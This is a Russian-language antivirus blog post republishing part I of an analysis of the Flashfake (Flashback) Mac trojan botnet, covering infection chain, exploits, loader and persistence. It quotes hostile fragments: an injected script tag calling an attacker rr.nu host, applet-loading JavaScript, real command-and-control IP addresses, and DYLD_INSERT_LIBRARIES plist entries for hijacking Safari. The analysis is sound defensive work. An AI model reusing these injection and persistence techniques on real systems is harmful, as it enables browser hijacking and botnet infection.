20 апреля, 2012
Маканатомичка.
Всем привет!
Для посетителей этого блога – в особенности тех, кто не читает Securelist, не подписан на мой Твиттер и Фейсбук (да-да, там самое-самое важное дублируется!). Мы опубликовали, пожалуй, самый глубокий анализ Flashfake (Flashback) – того самого трояна, который недавно отметился созданием первого в истории Маковского ботнета. Да ещё какого ботнета – 700 тыс. машин! В общем, выкладываю сюда весь текст, а кому понравится – срочно подписывайтесь на Securelist.
Анатомия Flashfake. Часть I
Что такое Flashback/Flashfake?
Flashfake — это семейство вредоносных программ для Mac OSX. Первые варианты этих угроз были обнаружены в сентябре 2011 года. В марте 2012 Flashback заразил около 700 000 компьютеров по всему миру. Зараженные компьютеры объединены в ботнет, и злоумышленники могут устанавливать на них любые дополнительные вредоносные модули. Известно, что один из модулей занимается подменой трафика в браузере. Не исключено, что помимо перехвата и подмены трафика, преступники могут загружать на зараженные компьютеры и другие вредоносные модули — например для кражи данных или рассылки спама.
Нулевая стадия заражения: взломанные WordPress-блоги
С сентября 2011 до февраля 2012 года для распространения Flashfake использовалась только социальная инженерия: посетителям различных сайтов предлагалось загрузить поддельное обновление Adobe Flash Player. Таким образом, троянец распространялся в виде инсталляционных архивов с именами «FlashPlayer-11-macos.pkg», «AdobeFlashUpdate.pkg» и т.д.
Впервые применение эксплойтов для распространения Flashfake было обнаружено в феврале 2012 года: в ходе атак использовались эксплойты 2008 и 2011 годов. Эксплуатация уязвимости CVE2012-0507 впервые была отмечена в марте 2012 года. Тогда CVE2012-0507 представляла собой неисправленную уязвимость для Mac OSX, несмотря на то что компания Oracle уже выпустила собственный патч в феврале. Дело в том, что Apple не использует патчи от Oracle, и для исправления уязвимостей в Java готовит собственные. Соответствующий патч для Mac OSX, исправляющий уязвимость CVE2012-0507, был опубликован только в начале апреля.
И такая примерно двухмесячная задержка выпуска патчей является традиционной для Apple.
Название уязвимости | Патч от Oracle | Патч от Apple |
CVE2008-5353 | 14.04.2009 | 15.06.2009 |
CVE2011-3544 | 18.10.2011 | 08.11.2011 |
CVE2012-0507 | 14.02.2012 | 03-12.04.2012 |
Для распространения Flashfake в марте 2012 года его авторы воспользовались услугами одной из киберкриминальных партнерских программ, предположительно российского происхождения.
«Партнерка» базируется на скрытых редиректах со множества легальных веб-сайтов по всему миру. Ориентировочно в конце февраля — начале марта 2012 года десятки тысяч сайтов, работающих под управлением WordPress, были взломаны. Каким образом они были взломаны, неизвестно. Основные версии — это использование владельцами блогов уязвимых версий WordPress и возможная установка ими плагина ToolsPack, являющегося бэкдором. Компания Websense оценивает число пострадавших сайтов в 30 000, по оценкам других компаний оно может достигать 100 000. Около 85% всех взломанных блогов находились в США.
В ходе взламывания блогов были осуществлены инжекты кода в главные страницы. В код добавлялись конструкции следующего вида:
<script src="http://имядомена.rr.nu/nl.php?p=d"></script>
В результате при посещении любого из взломанных сайтов происходило обращение к серверу-маршрутизатору партнерской программы, после чего, в зависимости от версии операционной системы и браузера, браузер пользователя скрытно перенаправлялся на другие сайты в доменной зоне rr.nu, на которых и были установлены соответствующие наборы эксплойтов для заражения.
Код сайта на WordPress с внедренной ссылкой на вредоносный скрипт
Первая стадия заражения: drive-by-download и социальная инженерия
В ходе скрытого перенаправления (пример: hxxp://ixeld52erlya.rr.nu/n.php?h=1&s=pmg) браузер обращался к каталогам /3f/ или /7f/ на вредоносном сайте и запускал на исполнение JavaScript с вызовом Java-апплета.
Пример одного из скриптов:
if(rts != "on"){ document.write('<applet archive="rh-3.jar" code="rhcls" width="1" height="1"></applet>'); document.write('<applet archive="cl-3.jar" code="msf/x/AppletX" width="1" height="1"></applet>'); }
Атака производилась путем попытки исполнения четырех Jar-файлов (приложения Java). Три из них представляли собой эксплойты уязвимостей в Java, еще один был сконструирован как легальное приложение, для обмана пользователя использовался метод социальной инженерии.
Использованные уязвимости:
- CVE2008-5353 («deserializing Calendar objects»)
- CVE2011-3544
- CVE2012-0507
Каждый Jar-файл содержит в себе эксплойт к соответствующей уязвимости и исполняемый вредоносный файл, который будет извлечен и установлен в систему.
Образец части кода эксплойта к CVE2008-5353
Образец части кода эксплойта к CVE2011-3544
Образец части кода эксплойта CVE2012-0507
Если использование эксплойтов оказывается безуспешным, то происходит попытка заражения системы при помощи специального Java-апплета, пытающегося выдать себя за легальный файл, подписанный компанией Apple, и получить от пользователя права на установку в систему.
Впервые подобная схема распространения Flashfake была обнаружена в феврале 2012 года.
Злоумышленники рассчитывают, что пользователь, увидев, что приложение подписано компанией Apple, согласится на предоставление прав для доступа в систему. На самом деле файл не содержит настоящей подписи Apple: использованный сертификат является поддельным и создан киберпреступниками самостоятельно.
Часть кода поддельного сертификата
Если пользователь согласится на предоставление прав доступа, то из апплета будет извлечен и установлен в систему вредоносный файл.
Образец части кода поддельного апплета
Таким образом, в результате выполнения в пользовательском браузере любого из вышеописанных апплетов (с уязвимостями или c выданными самим пользователем правами), в систему будет установлен файл-контейнер, представляющий собой загрузчик и установщик для последующих компонентов Flashfake.
Данный файл устанавливается и запускается по пути /tmp/.sysenter (при использовании эксплойта к уязвимости CVE2012-0507 имя файла генерируется произвольно).
Схематическое изображение первой стадии заражения
Вторая стадия заражения: загрузчик первого уровня
Установленный в систему файл представляет собой контейнер формата mach-o binary, содержащий внутри себя соответственно 32- и 64-битные модули практически с идентичным функционалом.
Основными функциями такого модуля является установка коммуникации с сервером управления 1-го уровня, загрузка оттуда дополнительных модулей и их установка в систему.
После окончания работы модуль самоудаляется и более в зараженной системе не присутствует.
При запуске модуль проверяет наличие установленного в системе приложения LittleSnitch (популярный файервол для Mac OSX), набора средств для разработки приложений OSX — XCode —и антивирусных приложений VirusBarrierX6.app, iAntiVirus.app, avast!.app, ClamXav.app, а также приложений HTTPScoop.app и Packet Peeper.app. Если данные приложения обнаружены, модуль завершает свою работу и самоудаляется.
В противном случае модуль соединяется с одним из серверов управления (например, 31.31.79.87, 78.46.139.211), куда передает UUID (уникальный идентификационный номер компьютера) и дополнительную информацию о системе (версия ОС), и в ответ получает для загрузки пакет, содержащий два дополнительных компонента, зашифрованных с привязкой к UUID компьютера.
Часть кода модуля. Видны названия проверяемых приложений и адрес сервера управления
После загрузки пакета модуль извлекает из него файлы-компоненты и пытается установить их в систему:
Схема работы Flashfake на данной стадии заражения
Первым компонентом является бэкдор-загрузчик. Именно он и является основным бот-модулем и отвечает за дальнейшее взаимодействие с ботнетом и загрузку обновлений.
Установщик копирует тело бэкдора в корневой раздел домашнего каталога пользователя $HOME/ под произвольным именем, начинающимся с точки, например .null.
Для обеспечения дальнейшей работы бэкдора установщик также создает файл .plist:
Пример .plist файла
Этот файл устанавливается в каталог $HOME/Library/LaunchAgents/. Тем самым, обеспечивается автоматическая загрузка модуля бэкдора при каждом запуске системы.
Схема работы Flashfake на данной стадии
Второй устанавливаемый из Сети компонент — модуль перехвата трафика и подмены страниц в браузере.
Процедура установки данного модуля значительно изменилась в последней версии установщика Flashfake, распространявшегося при помощи уязвимости CVE2012-0507. Мы опишем именно ее.
Часть кода установщика
Установщик вызывает системную функцию запроса администраторских привилегий, ожидая от пользователя ввода имени и рутового пароля.
Запрос прав
Если пользователь введет требуемые данные, то установщик получит возможность открыть на запись приложение браузера Safari.app (Applications/Safari.app/Contents/Resources/) и запишет в него модули: один отвечает за перехват трафика и подмену страниц, второй — за загрузку первого модуля в процессе браузера. Имена данных модулей выбираются произвольно, но все они начинаются с символа «точка» и оканчиваются расширениями .png и .xsl.
Для автоматического запуска модулей установщик модифицирует содержимое файла /Applications/Safari.app/Contents/Info.plist, добавляя в него следующие строки:
<key>LSEnvironment</key> <dict> <key>DYLD_INSERT_LIBRARIES</key> <string>/Applications/Safari.app/Contents/Resources/.имя_файла.xsl</string> </dict>
В случае успешного выполнения этих действий установщик соединяется с центром управления по адресу, например 31.31.79.87/stat_d/, тем самым сообщая об успешной операции. В случае какого-либо сбоя при установке соединение произойдет с 31.31.79.87/stat_n/.
После завершения этих операций установщик перезапускает браузер Safari, чтобы изменения вступили в силу, и завершает свою работу, самоудаляясь из системы.
В случае если пользователь не введет пароль администратора и нажмет Cancel, установщик будет инсталлировать модули по другой схеме.
Сначала установщик проверяет наличие в системе приложений Microsoft Word.app, Microsoft Office 2008, Applications/Microsoft Office 2011, Skype.app. Если такие приложения обнаружены, установщик прекращает свою работу и самоудаляется.
Модуль перехвата и подмены трафика будет установлен в /Users/Shared/ с именем «.libgmalloc.dylib«.
Перед этим установщик удаляет из данного каталога файлы по команде «rm -f /Users/Shared/.*.so». Данная операция удаления проводится, вероятно, для того чтобы удалить из системы предыдущие варианты Flashfake, если такие имелись.
Затем установщик создает файл $HOME/.MacOS/environment.plist, в который записывает следующие строки:
<key>DYLD_INSERT_LIBRARIES</key> <string>/Users/Shared/.libgmalloc.dylib</string>
Это приведет к тому, что модуль будет «хукаться» и подгружаться при запуске во все приложения.
Еще один вспомогательный компонент будет установлен в пользовательский каталог $HOME/Library/Application Support/ с произвольным именем, начинающимся с точки и с расширением .tmp.
Схема работы Flashfake на этапе инсталляции модуля перехвата и подмены трафика
По завершении инсталляции установщик соединяется с центром управления по адресу 31.31.79.87/stat_u/, сообщая об успешном заражении. После этого установщик прекращает свою работу и самоудаляется.
Продолжение следует…